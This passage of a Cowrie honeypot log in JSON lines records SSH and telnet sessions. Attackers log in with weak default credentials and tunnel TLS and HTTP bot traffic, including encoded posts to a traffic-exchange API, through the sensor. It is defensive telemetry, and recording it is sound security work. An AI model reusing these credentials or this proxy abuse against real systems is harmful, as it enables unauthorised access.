deflate\\r\\n\\r\\n_=Q3p0Klp6ZilvQz5GclhJTA%3D%3D9CjPCuitjU7nxCTsTCo%2FOTRMWxa3QQWNw6%2BjvvkNqRQJ3HmCUj4odeiEDuTIgRMePPPALrvZh7up0tW5pfgYvtBtl4HEEYhWwWes4kRP5ufYpyVYkrnOHJV6U5EJ317zskrmVfO5xoyAb57Zsfam1on45UvWr2jy1%2FDao1uTdSl2vvlfPam1hhvzEpaGtkmBV1GDnpZRq7UmQkxNk1ocTtW2Yls92xE6mAsdC3C0TBNe7qtS6d7TdiPEuVKO8GXQcnFN00HAmWplDsdC5rWLsbzUMsEW%2BVjz3RtPFnbjvmlDjCX2w0ykiTVyEqUQFosxQm2nkuJ3DeP5LwXZBJPC7nTjnMUWu%2BYRj6Ovp6h0or08hkp9yPJksyzlF17cJJEzuZACBncGwNxYjgXdNOeQmhh8DSUVDRDmevDS6Mbq9UQLmWSwZrgjPRkS%2B66J0AFBZXDp4nPBlg%2F2fWhiQG8I3%2B7QEORLgKatmmNqw70pBeJQxPUciKWkePv3T3zz8ZNfNE9sDCNVygRXehrwmxArzOo%2BEmEfBTw%2F8eRwx2iUTB6%2BhNc1DGPUY4Qu6a4mstXqvg%2FOGXm5pv5WnXEnLq4%2B7uOa3xVxu59vfGLy7k%2FPVLCnLImE3WcyzSH5dwn7frcEfmPbfgmaUcYO3mHE%2BEivI1bLlJ1PypVQC%2BZf%2FSG5mrCGKUDd7vKLSk1Te%2BypefSGgfR0Up2OO5jgdBaGzXbsnQITe%2FIMeLTdrbmXGMU%2BcRn1Rt0paoA4O34p%2F2UZlNB9Gnl9wMUuh6aqfZ2gOTXDDVLQId7Geys9fVYSrpCmHI1Win%2FOdPT7QR6D085a9Rskvl1eUPvBQEnc39i6GF1S5hGTRH7lYTDGtfl72XExNtksPwMcNnrZyNkFMtZ7Hr01dQJKi8nnd61PjwegTk760iTiJV6rOuuueTnku6YicmYe7xkKPvfkB2vAQaRLjCppDx5Pie9fi50fj8YEq3%2Fk1bf3smcNzxQWtXX1IikhiMt8b761P9821n0gM2cvyHkNXZH7viNr3rgk8iyztxtKnYGUZmsXd0t8pTVs0R0zPG6pY9dOQ%2FgEw8kQy2uyor03'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:15.115032Z","src_ip":"173.208.188.210","session":"be6680f3e3eb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:16.390179Z","session":"be6680f3e3eb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:16.395907Z","src_ip":"23.175.50.52","session":"f7be67cb0dd3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:16.427467Z","src_ip":"173.208.188.210","session":"be6680f3e3eb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xca\\xbc0h\\xdaA\\xacds:\\x9b\\xefQ\\x8aq\\x97\\x94\\xa3\\x04\\x9eP\\xcdM\\xc8\\t\\x83n\\n\\xde\\xbe\\xf0\\xb4 D\\xa6\\xa6\\x90\\xa9\\x86\\xce#G\\xa2\\x97m3Tf\\xeb`\\x94\\x86\\x1b\\x8f\\x10\\xc85$\\xa2\\xff\\x00}\\x9b\\x99\\x83\\x00 \\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\xab\\xe58c\\xdaql\\x0b~\\xb7\\xa5C)\\xb2\\xc9=\\x0b\\x97\\xf9\\xcf\\x83\\xed\\xc6k?\\xa9\\r\\x19\\x04\\x99$s\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xca\\xbc0h\\xdaA\\xacds:\\x9b\\xefQ\\x8aq\\x97\\x94\\xa3\\x04\\x9eP\\xcdM\\xc8\\t\\x83n\\n\\xde\\xbe\\xf0\\xb4 D\\xa6\\xa6\\x90\\xa9\\x86\\xce#G\\xa2\\x97m3Tf\\xeb`\\x94\\x86\\x1b\\x8f\\x10\\xc85$\\xa2\\xff\\x00}\\x9b\\x99\\x83\\x00 \\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\xab\\xe58c\\xdaql\\x0b~\\xb7\\xa5C)\\xb2\\xc9=\\x0b\\x97\\xf9\\xcf\\x83\\xed\\xc6k?\\xa9\\r\\x19\\x04\\x99$s\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:16.430652Z","src_ip":"173.208.188.210","session":"be6680f3e3eb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:16.539752Z","session":"be6680f3e3eb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:16.574319Z","src_ip":"173.208.188.210","session":"be6680f3e3eb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03b\\x92\\x8c\\xbb\\xefV\\x14\\xa6if\\x1b>S\\x06\\x04\\xc1\\x83\"*\\x93\\xef\\xc3K\\n\\xa7\\x1ac\\xbcu\\xafwr \\x10\\xa5>\\x08 \\xb9\\x82\\xd2{\\xc7\\n\\xd7\\xdbJ\\xf4\\x13\\xdd2?l3\\xaeP@,\\xaf\\x9b\\xfei\\xb8\\xcd/\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 *&\\x82\\x03i\\xaf\\x91\\x98>\\x00\\x05_R\\xcd)\\x93\\xd2<\\x8aQ\\x99\\xdf\\xff\\xbd5\\xefI\\xbb\\xe7\\x1f\\xc3+\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03b\\x92\\x8c\\xbb\\xefV\\x14\\xa6if\\x1b>S\\x06\\x04\\xc1\\x83\"*\\x93\\xef\\xc3K\\n\\xa7\\x1ac\\xbcu\\xafwr \\x10\\xa5>\\x08 \\xb9\\x82\\xd2{\\xc7\\n\\xd7\\xdbJ\\xf4\\x13\\xdd2?l3\\xaeP@,\\xaf\\x9b\\xfei\\xb8\\xcd/\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 *&\\x82\\x03i\\xaf\\x91\\x98>\\x00\\x05_R\\xcd)\\x93\\xd2<\\x8aQ\\x99\\xdf\\xff\\xbd5\\xefI\\xbb\\xe7\\x1f\\xc3+\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:16.577357Z","src_ip":"173.208.188.210","session":"be6680f3e3eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.7","message":"Connection lost after 13.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:19.049213Z","src_ip":"173.208.188.210","session":"be6680f3e3eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":37314,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d6bd9cfc6d5","protocol":"telnet","message":"New connection: 172.81.62.90:37314 (159.203.135.109:23) [session: 9d6bd9cfc6d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:20.215023Z"}
{"eventid":"cowrie.session.closed","duration":"49.3","message":"Connection lost after 49.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:21.494295Z","src_ip":"173.208.192.194","session":"b9bdfc41f8d3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:22.753756Z","session":"f7be67cb0dd3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:22.814268Z","src_ip":"23.175.50.52","session":"f7be67cb0dd3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 15_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1.1 Mobile/19B81 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1136\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=ODhoWGw0R0BhV3JOKT5kSA%3D%3DchDWxrWy1utzvVBdVYytiByLqxU%2FXbAtQfEnpWVOrudi2Wzietd0auY4OKSizFZh017NR0thLjHJM6RE%2Fs0ETkpBYxfXkRn2E1KpK7rdVUyLmf2bQECmUyaV5Ffo3vGEy6xlPAGsWX1nKZZQ%2Fz49cr2LiyZ1Yvk190vmQEbUEoDbwvv5BR%2FdyzB%2FaQ%2Buc3alw27Xs3%2Fx6Nt1Debcxp93nqt2vmKHrO7rY3aEcXdApUvQA%2F2Fw6ol5AKTNasnPbebnRXjpXY%2B4atd1DULEgkHgZoncPSPVGNWKYtYYXu9x2PT9LHljA6txtlMunQCfEkc%2BVo4xWYkLLAosVA9robtq3NgCxdG6rhp46vQA2VaIdFBE%2FmxyCmrROuEjPFvQrZ4Ni%2F0%2BKDT5VDSYWqrP2fxw5z5TmtoI9wRmhQk07kM9w1ULkya2%2B6l2ON9oV0v5EAl3O7R9aP3MW%2FNmHa5sgTTKKRIOCu5hgeZxJ%2FRyL%2BZVr65vtEStVCNZ2JaTwLWCNpBDxx9NEMHo9Fdnoth7X8KKXh3BS8sT9mfb%2FcrzpH1f6g4bdqyWpqlBTdcRCEzTsQygGeTI3BJ7EhYZxEB%2BnKVlESvKSO5hksi4z3M3wM1yFiFUfGbPcio7j7w3YHsS%2F%2BMmFIJYAC6M%2BH7EvK7mpwP%2F%2Bf%2FZdI12riwniVI07P0rVXtD0EnyPlIZQRwCKcwEWMYbmljaijjbmm%2FIAMcX0teOuxCr6eitMJwK6n4Fy7HlT7TDahOrkyw00cWbFZFqAI9hJ2RVYRaGAi23V8Gf5ZhJJ4Zm7w13ivHPKg0d6zCDsVV5TSMlsD7wvnQfhSWLcaVS3zJKCDgh5RPhlH6tRvJqAoO91pRQG8qlaKUSVolnQQ6qcuc3q9GIGfLZT3VejtrJRi1xoIwYezTzykbyVpunaHEoNptZR4KLcBc6BVl4z67XNBTDMeJad3BIAd%2FbJEQndiYZxTSZTAo4rg1o7mUCu4cvgm51YSnJpZlz1vK9edCAOCV39Zj5N7CrETi2nxoJUnEctJ6QJAjbXcnzWYEPQ%3D%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 15_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.1.1 Mobile/19B81 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1136\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=ODhoWGw0R0BhV3JOKT5kSA%3D%3DchDWxrWy1utzvVBdVYytiByLqxU%2FXbAtQfEnpWVOrudi2Wzietd0auY4OKSizFZh017NR0thLjHJM6RE%2Fs0ETkpBYxfXkRn2E1KpK7rdVUyLmf2bQECmUyaV5Ffo3vGEy6xlPAGsWX1nKZZQ%2Fz49cr2LiyZ1Yvk190vmQEbUEoDbwvv5BR%2FdyzB%2FaQ%2Buc3alw27Xs3%2Fx6Nt1Debcxp93nqt2vmKHrO7rY3aEcXdApUvQA%2F2Fw6ol5AKTNasnPbebnRXjpXY%2B4atd1DULEgkHgZoncPSPVGNWKYtYYXu9x2PT9LHljA6txtlMunQCfEkc%2BVo4xWYkLLAosVA9robtq3NgCxdG6rhp46vQA2VaIdFBE%2FmxyCmrROuEjPFvQrZ4Ni%2F0%2BKDT5VDSYWqrP2fxw5z5TmtoI9wRmhQk07kM9w1ULkya2%2B6l2ON9oV0v5EAl3O7R9aP3MW%2FNmHa5sgTTKKRIOCu5hgeZxJ%2FRyL%2BZVr65vtEStVCNZ2JaTwLWCNpBDxx9NEMHo9Fdnoth7X8KKXh3BS8sT9mfb%2FcrzpH1f6g4bdqyWpqlBTdcRCEzTsQygGeTI3BJ7EhYZxEB%2BnKVlESvKSO5hksi4z3M3wM1yFiFUfGbPcio7j7w3YHsS%2F%2BMmFIJYAC6M%2BH7EvK7mpwP%2F%2Bf%2FZdI12riwniVI07P0rVXtD0EnyPlIZQRwCKcwEWMYbmljaijjbmm%2FIAMcX0teOuxCr6eitMJwK6n4Fy7HlT7TDahOrkyw00cWbFZFqAI9hJ2RVYRaGAi23V8Gf5ZhJJ4Zm7w13ivHPKg0d6zCDsVV5TSMlsD7wvnQfhSWLcaVS3zJKCDgh5RPhlH6tRvJqAoO91pRQG8qlaKUSVolnQQ6qcuc3q9GIGfLZT3VejtrJRi1xoIwYezTzykbyVpunaHEoNptZR4KLcBc6BVl4z67XNBTDMeJad3BIAd%2FbJEQndiYZxTSZTAo4rg1o7mUCu4cvgm51YSnJpZlz1vK9edCAOCV39Zj5N7CrETi2nxoJUnEctJ6QJAjbXcnzWYEPQ%3D%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:22.817819Z","src_ip":"23.175.50.52","session":"f7be67cb0dd3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:23.477742Z","session":"8aa5e79e67fa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:23.497844Z","src_ip":"23.148.145.132","session":"8aa5e79e67fa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1186\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, 